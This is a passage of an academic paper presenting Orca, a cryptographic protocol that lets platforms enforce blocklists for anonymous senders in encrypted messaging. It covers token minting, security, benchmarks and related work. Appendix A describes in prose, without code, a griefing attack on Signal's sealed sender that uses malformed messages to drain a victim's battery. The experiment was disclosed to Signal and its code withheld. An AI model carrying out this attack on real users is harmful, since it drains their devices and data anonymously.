introduction of the keyed-verification setting for group signa-
tures (i.e., “group MACs”). This optimization limits the use
of pairings in our group signature only to the revocation token
tests made by the group manager during verification.
Summary. In total, our group signature is composed of three
components, (1) the identity ciphertext ctid enclosing the
signer’s public key to the opening authority, (2) the revocation
ciphertext ctR enclosing the revocation token, and (3) a zero
knowledge proof π that (1) and (2) were constructed properly
with knowledge of a key pair (y,Y ) and a MAC t on Y . The
full details of the construction along with security proofs with
respect to the formal definitions of anonymity, traceability,
and non-frameability are presented in the full version [59].

As stated, every time a user sends a message, they create
a group signature and the platform verifies the group signa-
ture. Even with our optimizations, this involves the platform
running a verification algorithm that is linear in the size of
the recipient’s revocation list. We improve in the next section,
extending Orca with one-time use sender tokens to make the
need for a group signature a rare event.

5 Extending Orca with One-time Use Tokens

In this section, we describe how to reduce Orca’s reliance
on its core group signature protocol. Instead of creating and
verifying a group signature for every message sent, the group
signature will only be used periodically to mint new batches of
one-time use sender tokens from the platform. Messages can
be sent, with very little cost, by including a valid token for a
recipient. Furthermore, once communication with a recipient
has been established, a recipient can replenish a sender’s
tokens directly in a return message, avoiding the need to
mint more token batches from the platform. The protocol is
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detailed in Figure 4.
Blinded MACs as one-time use tokens. We want that a
sender can anonymously mint a batch of tokens for a recipient
from the platform. The platform should not be able to link
the tokens (when they are spent) to the time of minting. To
realize this, we again turn to algebraic MACs used by keyed-
verification anonymous credentials [20]; we use MACGGM.
Each user generates a MAC secret key sk ← (x0,x1) ∈ Z2

p

and sends it to the platform. A valid MAC on input ν ∈ Zp is
of the form,

t← (u0,u1 = ux0+x1ν0 ) u0←$G1 .

To blindly evaluate a MAC on input ν, a user generates a
random ElGamal key pair (γ,D = gγ1 ) and encrypts gν1 to D,

ct = (ct1 = gr1,ct2 = gν1D
r) r←$Zp .

The user blinds a batch of inputs [ν]i in this manner, creates
a group signature σ over [ct]i designating the recipient as the
opening authority, and then sends (σ, [ct]i,D) to the platform.
The platform verifies the group signature under the recipient’s
revocation list, and if verification succeeds, proceeds with the
blind evaluation using the recipient’s MAC secret key. By the
homomorphic properties of ElGamal, the platform can maul
ct to form ct′ as an encryption of a valid MAC on ν without
ever learning anything about ν,

ct′ = (ctx1·b1 gr
′

1 ,ct
x1·b
2 ux00 Dr′) u0← gb1 b,r′←$Zp .

The full details of the blind MAC evaluation is given in the
full version [59]. The user decrypts ct′ to learn u1 and stores
token τ ← (ν,t= (u0,u1)) as the input, tag pair.

To send a message, the user sends the message to the plat-
form along with an unused token τ for the recipient. The
platform checks that the token (ν,t)← τ is unused, i.e., ν is
not in the strikelist of used tokens for a recipient, and that the
token is valid, i.e., the MAC t is valid for ν under the recip-
ient’s MAC key. If those checks pass, the platform delivers
the message along with the token τ to the recipient and adds
ν to the recipient’s strikelist.

However, the recipient has no way identifying the sender
from the token τ . The generation of τ was (necessarily)
blinded to prevent linking by the platform, but that also pre-
vents linking by the recipient.
Allowing a recipient to link tokens to senders. Senders
must communicate to the recipient the unblinded inputs ν for
which they are minting tokens. They do this by additionally
encrypting the input ν to the recipient under the recipient’s
public key Z,

ĉt = (ĉt1 = gr̂1, ĉt2 = gν1Z
r̂) r̂←$Zp ,

and proving in zero knowledge that the input ν enclosed in
the blinded ciphertext ct is the same as that enclosed in the
ciphertext ĉt to the recipient. The sender signs the batch of
recipient ciphertexts [ĉt]i under the group signature with the
recipient as the designated opening authority. As before, if
the signature σ verifies under the recipient’s revocation list,

the platform proceeds with blind evaluation, but also sends
(σ, [ĉt]i) to the recipient.

The recipient opens σ to the sender’s identity upk, then
decrypts and stores the token identifiers [gν1 ]i. Later when a
recipient receives a message and token (ν,t)← τ from the
platform, they can link the token to the sender by looking up
gν1 . To block a sender, the recipient generates and sends the
revocation token for the sender’s upk to the platform so the
sender cannot mint new tokens, as well as sends the sender’s
remaining unused tokens [gν1 ]i to add to the strikelist.

Replenishing tokens directly from the recipient. The mo-
tivation for one-time use tokens was to avoid the cost of the
more expensive group signature for every message. However,
in some sense, the gain from not running the group signature
for every message is offset by the upfront cost of generating
a proof to mint each token. While there are optimizations that
can be made when batching proofs in this manner [37], this
is still an unsatisfying result.

The real efficiency gain from one-time use tokens is when
senders can replenish their tokens directly from the recipient,
without going through the blind minting process with the
platform. Once two users have established sender-anonymous
communication, they can use their own secret MAC keys to
generate and exchange tokens directly at very little cost.

Summary. In this protocol, the core group signature is used
only to initiate conversations and mint the first batch of tokens.
Once conversation has been established, messages can be
exchanged and tokens can be replenished at almost no cost,
beyond storage. With regards to storage, users must maintain
lists of unused tokens in order to send messages and identify
senders of received messages. The platform also needs to
maintain an ever-growing strikelist for each user; in practice,
users will need to periodically rotate their keys to refresh the
platform strikelist, but can ensure that they have distributed
tokens for the new key prior to doing so.

Using tokens does leak some information about user com-
munication patterns in a nuanced way. An example might be
that if senders need to often mint tokens from the platform for
a particular user, the platform can infer that user is not active
in responding and replenishing sender tokens.

A second nuance is that in both our scheme and the to-
ken strawman [43, 44] presented in Section 3, the message
ciphertext of a sender is not bound to the token. The plat-
form can forward the sender’s token to the recipient, but swap
out the ciphertext, so the recipient will incorrectly attribute
it to the sender. In Section 6, we discuss why the impact of
such an attack is not large if the underlying E2EE protocol
provides message authentication. Nevertheless, we provide a
proposal for modifying our token showing protocol to bind
the sender’s message ciphertext using a BLS signature [13]
in the full version [59].

Despite these nuances, we feel Orca with one-time use
tokens represents an attractive design choice.
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Protocol 2: Orca with One-time Use Tokens
Setup:

(1) Public parameters for the group signature scheme, algebraic MAC scheme,
and public key encryption scheme are generated, pp←$GS.Setup(λ),
ppM←$MAC.Setup(λ), ppPKE←$PKE.Setup(λ).

(2) The platform initializes its state as the group manager of the group signa-
ture scheme.

(a) (gmpk,gmsk)←$GS.KgppGM()

(b) TU ← [·]: Table storing user public keys.

(c) TR← [·]: Table storing user revocation tokens.

(d) Tk ← [·]: Table storing user token MAC key and encryption key.

(e) Tτ ← [·]: Table storing strikelist of previously-used tokens for user.

Registration:

(1) User generates keys for protocol and initializes recipient state:

(a) User registers with platform to acquire group signature signing key
with which to send messages, GS.JoinUpp

U ↔ GS.IssueUpp
GM. User

stores usk and platform stores upk.

(b) User registers as opening authority and generates keys with which to
block senders, GS.JoinOApp

OA↔ GS.IssueOApp
GM.

(c) User generates algebraic MAC key used for creating sender tokens,
(tsk,tpk)←$MAC.KgppM (), and sends both tsk and tpk to plat-
form.

(d) User generates keys for public key encryption scheme,
(ek,dk)←$PKE.Kg(), stores dk and sends ek to platform.

(e) User initializes two tables, Tx and T−1
x , to identify (and blocklist)

senders and their associated sender tokens.

(2) Platform stores keys and initializes table entries for user:
TU [upk]← (oapk) ; Tk [oapk]← (tsk,tpk,ek)

TR[oapk]← [·] ; Tτ [oapk]← [·]

Sending a message:

(1) Sender selects unused sender token for recipient and sends message, token,
and recipient, (m, τ,oapk), to platform.

(2) Platform checks if token (x,t)← τ is valid under recipient’s MAC key
(tsk,tpk,ek)← Tk [oapk] and if token was not already used (i.e., is not
on strikelist).
b1←MAC.VerppM (tsk,x, t)

b2← (x 6∈ Tτ [oapk])
If b1 = 0 or b2 = 0, platform aborts.

(3) Platform adds token to strikelist, Tτ [oapk]← Tτ [oapk]∪{x}.
(4) Platform forwards message and token value, (m,x), to recipient.

(5) Recipient removes token from list of valid tokens for sender,
Tx[T

−1
x [x]]← Tx[T

−1
x [x]]\{x}; T−1

x [x]←⊥.

Acquiring sender tokens (from platform):

(1) [Optional] Sender anonymously requests public key information,
(oapk,tpk,ek), for desired recipient from platform.

(2) Sender authenticates to platform as a non-blocklisted sender for the recip-
ient using a group signature.

(a) Sender signs set of recipient ciphertexts [ĉt]i (constructed in (3))
with recipient as opening authority, and sends (σ,oapk) to platform,
σ←$GS.SignppU (usk,gmpk,oapk, [ĉt]i).

(b) Platform checks validity of signature against recipient’s revocation list,
b ← GS.VerppGM(gmsk,oapk,TR[oapk], [ĉt]i,σ). If b = 0, then
platform aborts.

(3) Sender engages in token generation protocol with platform.

(a) Sender samples m inputs, [x]mi ←$MAC.In(λ)m.

(b) Sender encrypts inputs to recipient, ĉti←$PKE.Enc(ek,xi).

(c) Sender and platform engage in MAC blind evaluation for each token,
MAC.BlindInpppM (tpk,xi)↔MAC.BlindEvppM (tsk), for recip-
ient keys (tsk,tpk,ek)← Tk [oapk]. Sender also sends proof that
the input used in the MAC protocol is properly well-encrypted in the
ciphertext to the recipient:
πi←$NiZK{xi :MAC.BlindInpppM (tpk,xi)

∧ cti = PKE.EncppPKE (ek,xi)}
If πi does not verify, platform aborts the blind MAC protocol.

(d) If blind MAC protocol succeeds, sender receives MAC ti as output
and stores token, τi← (xi, ti).

(4) Platform sends (σ, [ĉt]mi ) to recipient.

(5) Recipient stores tokens to later identify sender.

(a) Recipient traces sender, upk← GS.OpenppOA(oask, [ĉt]i,σ).

(b) Recipient decrypts token ciphertexts and stores tokens.
xi← PKE.DecppPKE (dk, ĉti)

Tx[upk]← Tx[upk]∪ [x1, . . . ,xm] ; T−1
x [xi]← upk

Acquiring sender tokens (from recipient):

(1) Recipient samplesm inputs, (x1, . . . ,xm)←$MAC.In(λ)m, and MACs
them, ti←MAC.EvppM (tsk,xi).

(2) Recipient sends tokens τi← (xi, ti) to sender associated with upk out-
of-band or via secure channel.

(3) Recipient stores tokens to later identify sender.
Tx[upk]← Tx[upk]∪{x1, . . . ,xm} ; T−1

x [xi]← upk

Blocklisting a user:

(1) Recipient looks up sender identity associated with token, upk← T−1
x [x],

and generates revocation token, τR←$GS.RevokeppOA(oask,upk). Re-
cipient sends revocation token along with list of remaining sender tokens
for sender to platform, (x1, . . . ,xm)← Tx[upk].

(2) Platform updates blocklist state by adding revocation token to blocklist
and remaining tokens to strikelist.
TR[oapk]← TR[oapk]∪{τR}
Tτ [oapk]← Tτ [oapk]∪{x1, . . . ,xm}

Figure 4: Hybrid protocol based on group signature and tokens.
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6 Composition with an E2EE Protocol

The main security properties of an E2EE messaging proto-
col are message confidentiality and message authentication.
Modern forms of message confidentiality include forward se-
crecy and post-compromise security which ensure that, even
in the event of key compromise, previous message content and
future message content (after recovery) are not leaked, respec-
tively [23]. Message authentication ensures that messages
accepted by the recipient were those encrypted by the sender.
A third property, repudiability, requires that the authentication
mechanism cannot help non-conversation participants verify
message authorship, even if secrets from a conversation par-
ticipant are leaked [15]. For our setting, we will also require
the E2EE messaging protocol to be sender-anonymous, mean-
ing ciphertexts do not leak any information about the sender,
which can be achieved using encapsulation as in sealed sender.

Orca composes with an E2EE messaging protocol to further
provide anonymous, outsourced blocklisting (see Section 3).
Public keys for Orca may be distributed using the same mech-
anism used to distribute public keys for the E2EE messaging
protocol. Similar to E2EE messaging, to prevent ghost key
attacks by a malicious PKI, in which a user’s key is replaced
by one owned by the adversary, users are expected to per-
form manual verification of key fingerprints out-of-band or
perform periodic auditing of the PKI [50]. Without this as-
surance, ghost key attacks against Orca result in a break in
anonymity, as the adversary can open group signatures using
the ghost key. Of course, using Orca does not increase the
damage of such attacks: such an adversary can read encrypted
messages and break anonymity by subverting the E2EE.

In basic Orca (Figure 3), E2EE ciphertexts are sent along
with a group signature over the ciphertext, and when extended
with one-time sender tokens (Figure 4), E2EE ciphertexts
are sent along with a token produced from a token minting
protocol authenticated with a group signature. The composi-
tion preserves the message confidentiality and authentication
properties of the underlying E2EE protocol: Orca composes
generically with the E2EE ciphertexts and does not make
further use of the message plaintext. However, Orca necessar-
ily weakens sender-anonymity and repudiability to support
blocklisting by a third-party (the platform).

With regards to anonymity, a necessary leakage of the out-
sourced blocklisting setting is that a ciphertext leaks (to the
platform) whether or not the sender is present on the desig-
nated recipient’s blocklist. Basic Orca meets this minimum
leakage, following directly from the anonymity and revoca-
tion anonymity security properties of the group signature.
Orca extended with one-time tokens leaks more: platform-
assisted token minting leaks how many tokens for a recipient
are minted, and blocking reveals how many valid tokens re-
main for the blocked sender. In addition to the anonymity
properties of the group signature, achieving only this level
of leakage relies on (1) randomly chosen MAC inputs, (2)

security of blind MAC evaluation, (3) confidentiality of the
recipient ElGamal ciphertexts, and (4) zero knowledge of the
well-formedness proof. We believe it is unlikely the additional
leakage of token counts leads to damaging inference attacks,
especially considering token counts are further obscured by
tokens replenished directly by the recipient.

The minimum weakening to repudiability for the out-
sourced blocklisting setting is that the platform can at most
verify authorship to some registered member of the platform,
even with compromised secrets. However, our group signature
construction does not meet this weakened notion; the platform
and the recipient can together provide proof of authorship of
a message for a sender. Future work may adapt techniques
from deniable signatures (c.f., [58]) to recover repudiability.

Lastly, outsourced blocklisting requires sender attribution:
messages delivered to recipients can be correctly attributed
to a sender. Basic Orca achieves sender attribution following
directly from the traceability security property of the group
signature. The extension with one-time tokens achieves sender
attribution additionally relying on the soundness of the well-
formedness proof of recipient token-tracing ciphertexts.

We also note an optional non-frameability property: a ma-
licious platform should not be able to frame a user as being a
sender for a ciphertext they did not create. We do not see this
property as security-critical for outsourced blocklisting. A
break in non-frameability allows a platform to deliver cipher-
texts that are misattributed, however, due to the message au-
thentication property of the underlying E2EE protocol, these
ciphertexts will not be accepted by the recipient. The recipi-
ent may choose to block the misattributed sender, mistakenly
thinking they are spamming malformed ciphertexts. We view
this as a special (slightly more damaging) case of a platform-
mounted DoS attack, which is not a goal of Orca to defend
against. Nevertheless, basic Orca does prevent this attack due
to the non-frameability security property of the group signa-
ture. Orca with one-time tokens can be extended with token-
binding (see full version [59]) to achieve non-frameability
relying on the soundness of the blind MAC evaluation proof
and the unforgeability of the token-binding signature.

Formal analyses. As mentioned, we provide in the full ver-
sion [59] formal definitions and security analyses for our
group signature, the core underlying component of Orca.
These analyses do not cover the one-time token extension, nor
the security of the composition informally discussed above.
Developing formal models suitable for analysis of these
higher level primitives remains an open problem. Our initial
attempts suggest that this will be challenging, as it seems to re-
quire extending existing (already complex) confidentiality and
authenticity models for messaging (e.g., [5, 9, 23, 38, 54]) to
model sender anonymity, token distribution, blocklist mainte-
nance, etc. An ideal functionality based approach may provide
an alternative tack, though any resulting functionality will also
be complex (possibly as complicated as our protocols).
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7 Implementation and Evaluation

This section aims to evaluate the feasibility of deploying Orca
at scale. Specifically, we answer the following questions:

• Client costs: What are the processing and storage costs
that Orca incurs on user clients?

• Platform costs: What are the processing and storage
costs incurred on the platform? What throughput (user
activity) can be reasonably supported given these costs?

• Bandwidth costs: How large are Orca protocol messages?
What additional networking costs does Orca introduce?

To answer these questions, we provide a prototype li-
brary in Rust of our group signature and token-based scheme.
Our implementation is over the BLS12-381 pairing-friendly
elliptic curve and uses the zexe/algebra Rust pairing li-
brary [16]. We instantiate the proofs of knowledge using
standard Sigma protocols of discrete logarithm relations [17]
made non-interactive using the Fiat-Shamir transform [31].
Our security proofs (see full version [59]) rely on a simulation-
extractability property of the zero knowledge proofs which
has been shown to hold in the algebraic group model [32] for
the knowledge of discrete logarithm relation [3, 33]; we be-
lieve these techniques can be readily extended to the discrete
logarithm relations used in this work. Our implementation
consists of less than 1400 lines of code and is available open
source 2.

The experiments, including the microbenchmarks given in
Figure 5, were performed using a c5.12xlarge Amazon EC2
virtual machine with 24 cores and 96 GB of memory running
Ubuntu Server 20.04 LTS as the platform and desktop client
(single-core) and on a Google Pixel device running Android
9 as the mobile client. The platform is implemented using an
in-memory Redis database for storing revocation blocklists
and token strikelists.

When evaluating Orca, recall that users can replenish their
token supply directly from the recipient provided there is
back and forth communication. Thus, we make the distinction
between “initialization costs” of minting an initial token batch
from the platform and the “steady-state costs” that occur
when tokens are replenished directly from the communicating
partner. We expect the majority of user communication to be
in steady-state where costs are low.

Client costs. Clients must store, for each of their communi-
cating partners, two lists of unused tokens, one for sending
messages and one for identifying received messages. These
tokens are not large (240B) and the lists can remain small as
they can be replenished on next communication. Say a user
has 200 communication partners and stores 20 tokens per list.
This setup would incur ∼ 1MB for the client.

The bulk of the processing costs incurred by Orca are con-
centrated at initialization when a client mints an initial batch

2https://github.com/nirvantyagi/orca

of tokens to start a conversation. On a mobile client, mint-
ing an initial batch of tokens takes ∼ 150 ms for the group
signature and an additional ∼ 100 ms for each token in the
batch (see Figure 5). This means it takes around 1 second for
a sender to mint 10 tokens. While these costs are significant,
we stress that a user only needs to mint enough tokens to
initiate a conversation and await a response. If a response
from a recipient is delayed, more tokens can be minted as
needed. Once a conversation with back-and-forth communica-
tion is established, the amortized steady-state cost of sending
a message is in creating a new token to replenish the recipient,
which is done at very little cost (∼ 10 ms) — approximately
the same as sealed sender.
Platform costs. The platform stores per-recipient revocation
blocklists and token strikelists. The revocation lists are on the
order of 100B / revoked user; e.g., a recipient that has blocked
100 users would require a revocation list of size 10KB to be
stored. We do not anticipate revocation lists to grow too large,
since the platform has other mechanisms to ban users globally
(see Section 8). In any case, a platform can impose limits on
the size of revocation lists if necessary.

The per-recipient strikelists would grow in size with every
message a user sends (32B / spent token). One can use Bloom
filters or other data structures to compress the size of the
strikelist as well as enforce periodic key rotations to reset its
size. If each user sends ∼ 100 messages per day and token
keys are rotated every two weeks, the platform can store a
strikelist of ∼ 5KB per user with a false positive rate of 10−6.
Note the false positive rate can be traded off with storage size;
messages that get rejected due to false positives will result in
an error returned to the anonymous sender, who may resend
with a different token.

The processing costs of the platform are similarly domi-
nated by the token mint requests for initializing conversation
as opposed to send requests during steady-state conversa-
tion. A request to mint a batch of 10 tokens given a recipient
blocklist size of 100 takes ∼ 200 ms to complete whereas a
send request is just a simple algebraic MAC verification and
strikelist lookup taking < 1 ms (see Figure 5).

Figure 6 demonstrates these workloads are easily paralleliz-
able to achieve high levels of throughput. In this experiment,
we run the platform with one million users, each with a block-
list of size 100 and a strikelist of size 1400 (100 messages/-
day/two weeks), and measure the rate at which the platform
can process requests for different levels of hardware paral-
lelism. We do not implement the Bloom filter optimization,
so the Redis database stores ∼ 50KB per user (50GB total),
which can still easily fit in memory. The computationally
expensive mint requests parallelize with essentially no loss,
reaching a rate of 80 requests (for 10 token batches) per
second on 24 cores. The inexpensive send requests also paral-
lelize but top out at around 30000 requests per second on 12
cores, which is bottlenecked by the operation throughput of
a single Redis database and can be unblocked via a different
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Operation Platform User (Desktop client) User (Mobile client)
Sender Recipient Sender Recipient

Sealed sender – 0.50 (0.02) 0.50 (0.02) 6.6 (0.2) 6.6 (0.2)

Orca mint tokens with group signature 11.2 (0.2) 10.8 (0.1) 9.7 (0.2) 131.7 (0.8) 117 (2)
+ cost per token minted 7.60 (0.09) 8.50 (0.08) 0.30 (0.01) 105.2 (0.9) 3.3 (0.1)
+ cost per blocked user 1.70 (0.04) – – – –

send message with token* 0.30 (0.01) 0.80 (0.02) – 10.0 (0.2) –

*Steady-state cost of sending a message with a token that includes cost of replenishing one token

Figure 5: Processing time (ms) microbenchmarks of user and platform operations for Orca compared to sealed sender. Mean time is given with
standard deviations shown in parentheses. Dashes indicate an operation that has negligible cost (e.g., a table lookup).
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Figure 6: Platform request throughput for different levels of hardware
parallelism over a one million user deployment with blocklists of
size 100 and strikelists of size 1400. Each mint request corresponds
to a request to mint a batch of 10 tokens.

database setup if needed (e.g. through sharding). The achieved
bottlenecked throughput already demonstrates feasibility.
Bandwidth costs. Minting a token requires sending the group
signature (1.6KB) and exchanging proofs for each token to
be minted (0.7KB / token). These costs extend to the recipi-
ent who receives the signature and also a ciphertext for each
token minted (0.2KB / token). Apart from these initialization
costs, the steady-state bandwidth costs of sending a message,
once again, compare quite favorably with sealed sender. In
the steady state, the amortized bandwidth overhead of sending
a message would be two tokens (240B / token) — the token
being spent and the token being created to replenish the recip-
ient. Thus we can achieve amortized per-message overheads
of only 30B compared to sealed sender (450B / message).

8 Further Extensions

Backwards unlinkability for revocation tokens. A draw-
back of verifier-local revocation is that whenever a new revo-
cation token is provided, the platform can replay the history of
messages to link which ones were sent by the newly blocked
sender. To prevent such leakage one can take the approach
of [51] to rotate revocation keys in set epochs. Naively, this
requires recipients to resupply their entire list of revocation
tokens; future work may try to incorporate techniques from
updatable encryption [12] to provide more efficient epoch
transitions.
Credential expiry and global banning. Per-recipient block-
lists are not a substitute for platform-wide banning of abusive
users. The platform must maintain some mechanism for ban-
ning accounts in the case of identified user abuse, e.g., through

user reports [28, 35, 58] or account compromise. This can be
done by enforcing periodic credential expiration, by for ex-
ample, rotating the platform’s group manager key. Users must
retrieve a new MAC on their public key, at which point, the
platform can choose to deny their request.
Sybil resistance and account recovery. Outsourced block-
listing works by blocking a public key, not an identity. If
malicious users are able to easily send messages under new
public keys, either by registering with many accounts or con-
tinually rotating an account key after they are blocklisted,
then our blocklisting protocol will be of little use. Signal ties
accounts to phone numbers to mitigate the ability to easily
register new accounts. On the other hand, rotating an account
key is a legitimate operation that may need to be taken af-
ter account compromise or device loss. Blocking accounts
with suspicious key rotation behavior or rate-limiting account
recovery are possible mitigations.
Rate-limited resources. In Signal, in addition to needing the
recipient’s long-lived identity public key, senders also need
to pull a one-time use recipient “pre-key” which is used in
the initial key agreement protocol to provide forward secrecy
properties. Recipients store some number of pre-keys with
the platform and replenish them as needed. If a recipient’s
pre-keys run out, then conversations are initiated without the
pre-key leading to weaker forward secrecy. To prevent mali-
cious users from exhausting a recipient’s pre-key supply, these
resources can be protected while preserving anonymous au-
thentication using anonymous rate-limiting techniques [18].

9 Related Work

Anonymous credentials. Anonymous credentials [19] allow
a user to present a cryptographic token proving some spe-
cific statement about their identity (e.g., their authorization
to send messages to a particular recipient), without revealing
anything else about their identity. A problem with anonymous
credentials in our setting is that they are — by design — not
attributable. While the server processing messages can ver-
ify the sender is authorized, the recipient cannot identify the
sender. This means there is no way for the server to block the
sender in the future, even if some revocation mechanism for
the credentials did exist.

A notable design contrast to general-purpose anonymous
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credential schemes is Privacy Pass [26], which offers single
use credentials that encode only one bit — “I am authorized.”
Privacy Pass mints tokens using a verifiable oblivious pseu-
dorandom function [39, 40], which is more efficient than our
approach of blind MACs [20], but does not provide the al-
gebraic structure needed to prove relations on the input. We
need this property to encrypt the input to the recipient to
allow linking of tokens. Blind MACs have been previously
suggested for use as one-time tokens [46] and have also been
recently proposed as part of Signal’s new proposal for private
group messaging [21].

Anonymous blacklisting. Anonymous blacklisting [36, 55,
56] systems cover a variety of cryptographic techniques. In
general, these systems allow a user to authenticate anony-
mously to third parties in such a way that the third party can
block them from subsequent authentications if they misbe-
have. In some systems, this blocking ability takes the form
of an additional trusted third party that can de-anonymize
users much like a group signature. In others, every time a
user authenticates they provide a fresh anonymous crypto-
graphic token derived from their identity and a proof that the
current blacklist contains no tokens generated by their own
keys. Such systems are cryptographically expensive, requiring
work linear in the blacklist (for the sender). Moreover, much
of the overhead across both settings comes from providing
anonymity from the third party. Our setting differs in that the
sender need not be anonymous (and in fact, should be identi-
fiable) to the party adding to the blacklist (i.e., the recipient),
but only be anonymous to the party filtering on the blacklist
(i.e., the platform).

Abuse reporting in E2EE messaging. A complementary
line of work [28, 30, 35, 58] considers reporting abusive con-
tent sent over an encrypted channel. These systems allow the
recipient to verifiably reveal the content of a message to the
platform to enable content moderation. They allow attribution
of message content to a sender for a known sender identity.
They do not allow the attribution of a malformed message
with unknown sender as in the griefing attack we describe.

Metadata-private messaging. A number of messaging sys-
tems have been proposed that provide strong metadata-privacy
even against strong network adversaries [4,6,24,25,42,45,47,
53, 57, 60, 61]. These systems incur significant costs on their
users, e.g. to send and receive messages at frequent intervals.
These costs may dwarf the costs of the types of abuse that
Orca aims to prevent. Despite this, a subclass of these systems
that could still make use of Orca for blocklisting are based
on anonymous broadcasting [24, 41, 47, 53, 61]. Anonymous
broadcasts can be converted to a sender-anonymous messag-
ing service by having a messaging service collect, filter, and
deliver the broadcast messages with designated recipients.

10 Conclusion
This paper explores the tensions between abuse mitigation
and sender-anonymity in E2EE messaging. We highlighted
several issues with Signal’s sealed sender feature, including
weak anonymity set guarantees and vulnerability to griefing
attacks.

Our solution, Orca, allows recipients to register privacy-
preserving blocklists with the platform. Without learning the
sender’s identity, the platform can check that the sender is not
on the blocklist and that the recipient will be able to verify
their identity. We introduced a new type of group signature
tailored to Orca’s needs and propose a hybrid scheme that
uses tokens to amortize the bandwidth and computational
costs of group signatures.
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A Griefing Attack on Sealed Sender
We identify and implement a griefing attack against Signal’s
sealed sender protocol. An attacker in possession of a recip-
ient’s access key can spam the recipient with untraceable
messages, causing the recipient’s system to suffer battery
drain and to consume bandwidth.
Attack vector. The attack takes advantage of the fact that
the platform cannot check for malformed sealed messages.
Our proof-of-concept attack simply modifies the Signal client
to modify the triple (pke ,ctid,ctss) by replacing pke with
a new, random value pkf . To the platform this is indistin-
guishable from a legitimate sealed sender message, but the
recipient’s decryption will fail when trying to decrypt ctid
and cannot recover any information about the sender. Our
modification causes the recipient’s decryption to fail early.
While technically one could force the recipient to perform
more cryptographic steps, this would have small impact on
the efficacy of the attack.

This approach required changing only two lines of code
in the Signal Desktop client. We also wrote a small script to
automate sending messages via the client.
Attack efficacy. We performed some measurements to assess
whether the griefing attack can be used, particularly, to drain
a target’s battery. In our experiments, we used as attacker our
modified Signal Desktop application on a MacBook Pro 2017
machine running macOS Mojave using a 2.5 GHz Intel Core
i7. We used as a stand-in for victim recipient an unmodified
Signal Android application (version 4.54.3) on a Google Pixel
phone running Android version 9. We used the Android Bat-
tery Historian tool [1] to inspect the effect of our attack on
battery drainage. It reports the battery level rounded to the
nearest percent.

In our experiments we only interacted with the Signal plat-
form and with researcher devices. We purposefully experi-
mented only with very low volume attacks in order to ensure
we did not burden the Signal platform, and confirmed ahead
of time with members of the Signal team that our experiments
would not be problematic. In summary, the platform and its
users were not negatively affected by our experiments.

We measured the rate of change in battery level per hour
when sending one malformed sealed message every 1, 2, 5, or
10 seconds. As a baseline comparison, we also measured the
rate of battery drainage when no messages were sent. Each
of the four sending rates were measured over a period of 2
hours, while the baseline was measured over a period of 11
hours; the phone discharges slowly at rest so an extended
measurement period was needed for the baseline. Before each
experiment, the recipient phone was rebooted and charged
to full capacity. During each experiment, the phone used its
mobile data for network connectivity and was otherwise idle.

In the baseline case, where the phone received no malicious
messages, the battery level dropped by only 0.45 levels per
hour (dropping the battery by only 7% in 11 hours). In com-
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Figure 7: Battery drain rate of griefing attack for various rates of
sending, x ∈ {0,0.1,0.2,0.5,1} / second. The box plot shows the
variability of drain rates over trials, with the range, quartiles and
median denoted by the whiskers, box, and line, respectively (outliers
marked separately).

parison, the drop rates were 4.11, 5.37, 5.84, and 6.88 levels
per hour when sending a message once every 10s, 5s, 2s, and
1s. Thus even the slowest attack rate speeds up battery drain
by 9x; for one message a second it is 15x. We show a boxplot
of these measurements in Figure 7.

The attack also consumes recipient bandwidth (which could
be costly if they pay for data service per byte): at one mes-
sage per second, the Signal Android application received 1.13
MB/hour, while as a baseline it receives 0.94 KB/hour.

A real attacker can of course trivially increase attack vol-
ume up to any general rate limiting enforced by the platform.
While it is not public if Signal rate limits clients (and we did
not want to stress test it), we believe even modest increases to
the volume will allow draining batteries quickly. While bat-
tery drain rates will vary significantly based on target handset
and other factors, we believe our proof-of-concept evidences
sufficient impact on a victim to be a concern.

Mitigation options for victims. The receiver’s Signal client
gives no obvious visual indication that messages are being
received and filtered. To learn of message filtering, a user
would have to inspect the client’s debug logs, making the
attack essentially invisible for the majority of users. Even if
detected, there are no particularly good ways to prevent the
griefing attack.

The victim can rotate their access key ak and attempt to
redistribute a new ak′ to their communicating partners. If the
attacker is not able to get access to the new access key, the
attack will be stopped by the platform and no messages will
reach the victim’s client. But since the attack leaves no infor-
mation about which of the victim’s communicating partners
is responsible, the victim can only make a guess as to whom
they should block.

This issue might lead people to only add a few, highly
trusted contacts. But this degrades anonymity significantly,
since as discussed in Section 2.2, the platform knows that a
sealed sender must be one of the recipient’s contacts.
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B Artifact Appendix

B.1 Abstract

Our artifact contains source files of the Orca blocklisting pro-
tocol as a library in Rust. The cryptographic protocol is built
on top of the open-source arkworks library for pairing-based
cryptography. The implementation consists of three major
parts: (1) an implementation of the Chase et al. algebraic
MAC protocol, (2) an implementation of the Orca group sig-
nature, and (3) an implementation of the Orca one-time-use
token protocol. The artifact also includes two benchmarks
for reproducing the performance numbers reported on. These
benchmarks can be easily run on any machine that can com-
pile Rust from source, though we report performance numbers
from running on high-memory AWS machines (for the server)
and mobile devices (for the client). The artifact does not in-
clude source files for the griefing attack and battery-drain
experiments against Signal, as they are potentially harmful
and are not core to our work’s claimed contribution.

B.2 Artifact check-list (meta-information)

• Algorithm: The Orca blocklisting protocol including group
signature and one-time-use tokens.

• Compilation: Benchmarks are built from source using the
Rust compiler.

• Run-time environment: Our artifact was run on a
c5.12xlarge AWS EC2 virtual machine with 24 cores and 96
GB of memory running Ubuntu Server 20.04 LTS, as well as
on a mobile device running Android 9.

• Hardware: The mobile microbenchmarks were run on a
Google Pixel 2 device. The server throughput benchmark re-
quires at least 64 GB, though comparable results can be repro-
duced with less memory.

• Execution: The microbenchmarks run in less than 5 minutes.
The server throughput benchmark runs in under 2 hours on our
test AWS machine.

• Security, privacy, and ethical concerns: We do not provide
the source files for the griefing attack and battery-draining
experiments.

• Output: The benchmarks produce summarized performance
outputs printed to the terminal.

• Experiments: There are two benchmarks: (1) microbench-
marks for measuring the performance of the cryptographic
primitives used in Orca, and (2) macrobenchmark for measur-
ing server throughput of requests.

• How much time is needed to prepare workflow (approxi-
mately)?: The benchmark binaries are built from source in
under 5 minutes. Setting up the AWS machine and/or the mo-
bile device may take additional time.

• Publicly available?: The latest version of the library is avail-
able at https://github.com/nirvantyagi/orca.

B.3 Installation

The setup consists of installing Rust and compiling the bench-
mark binaries from source. Compiling and running the mi-
crobenchmarks on a mobile device requires additional in-
stallation of the Android Native Development Kit (NDK)
and related Rust toolchains. The macrobenchmark for server
throughput additionally requires installing and running a
Redis server locally. Detailed installation instructions are
given on the README available at https://github.com/
nirvantyagi/orca.

B.4 Evaluation and Expected Results

There are two benchmark binaries that we report results on.
